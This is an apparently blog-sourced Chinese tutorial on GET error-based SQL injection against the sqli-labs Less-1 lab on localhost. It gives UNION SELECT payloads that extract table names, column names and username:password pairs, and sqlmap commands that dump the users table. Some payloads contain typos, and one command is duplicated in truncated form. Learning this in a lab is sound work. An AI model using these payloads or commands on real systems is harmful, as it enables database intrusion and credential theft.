GET基于报错SQL注入漏洞详解

GET基于报错SQL注入漏洞详解

开始前的补充知识:

mysql中比较常用的一些函数:

  • version():查询数据库的版本
  • user():查询数据库的使用者
  • database():数据库
  • system_user():系统用户名
  • session_user():连接数据库的用户名
  • current_user:当前用户名
  • load_file():读取本地文件
  • @@datadir:读取数据库路径
  • @@basedir:mysql安装路径
  • @@version_complie_os:查看操作系统
  • ascii(str) : 返回给定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii(“a”)=97
    length(str) : 返回给定字符串的长度,如 length(“string”)=6
    substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr(“chinese”,3,2)=“in”
    substr()、stbstring()、mid() 三个函数的用法、功能均一致
    concat(username):将查询到的username连在一起,默认用逗号分隔
    concat(str1,’*’,str2):将字符串str1和str2的数据查询到一起,中间用*连接
    group_concat(username) :将username数据查询在一起,用逗号连接
    limit 0,1:查询第1个数 limit 1,1: 查询第2个数

1.SQL注入的分类

根据注入位置数据类型可将SQL注入分为两类:数字型和字符型

​ 例如:

​ 数字型:select * from table where id = 用户输入id

​ 字符型: select * from table where id =‘用户输入id’

2.GET基于报错的SQL注入发现

通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)反斜杠\来探测URL中是否存在注入点。

3.GET基于报错的SQL注入利用

1.利用order by判断字段数

union补充知识:


UNION的作用是将两个select查询结果合并,如下图所示

GET基于报错SQL注入漏洞详解_第1张图片
程序在展示数据的时候通常只会取结果集的第一行数据 , 只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了

在这里插入图片描述


2.利用union select联合查询,获取表名

0‘ union select 1,group_concat(table_name),3 from information_schema,tables where table_schema=database() --+

3.利用union select 联合查询,获取字段名

0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+

4.利用union select联合查询,获取字段值

0‘ union select 1,group_contact(username,0x3a,password),3 from users --+

4.利用Sqlmap测试

进入sqlmap.py的文件夹下

(1)使用下面的命令进行探测存在的数据库

python sqlmap.py -u " http://127.0.0.1/sqli/Less-1/?id=1 " --dbs --batch

-u:表示url

–dbs显示探测的数据库

–batch自动帮我们回答确定进行下一步

GET基于报错SQL注入漏洞详解_第2张图片

(2)对感兴趣的数据库中的表进行查询(以security为例)

python sqlmap.py -u “http://127.0.0.1/sqli/Less-1/?id=1” -D security --tables --batch

GET基于报错SQL注入漏洞详解_第3张图片

(3)对表中列进行查询(以users为例)

python sqlmap.py -u “http://127.0.0.1/sqli/Less-1/?id=1” -D security -T users --columns --batch

GET基于报错SQL注入漏洞详解_第4张图片

(4)查询列对应的数据

python sqlmap.py -u “http://127.0.0.1/sqli/Less-1/?id=1” -D security -T users -C username,password --dump --batch

.py -u “http://127.0.0.1/sqli/Less-1/?id=1” -D security -T users -C username,password --dump --batch

你可能感兴趣的:(渗透)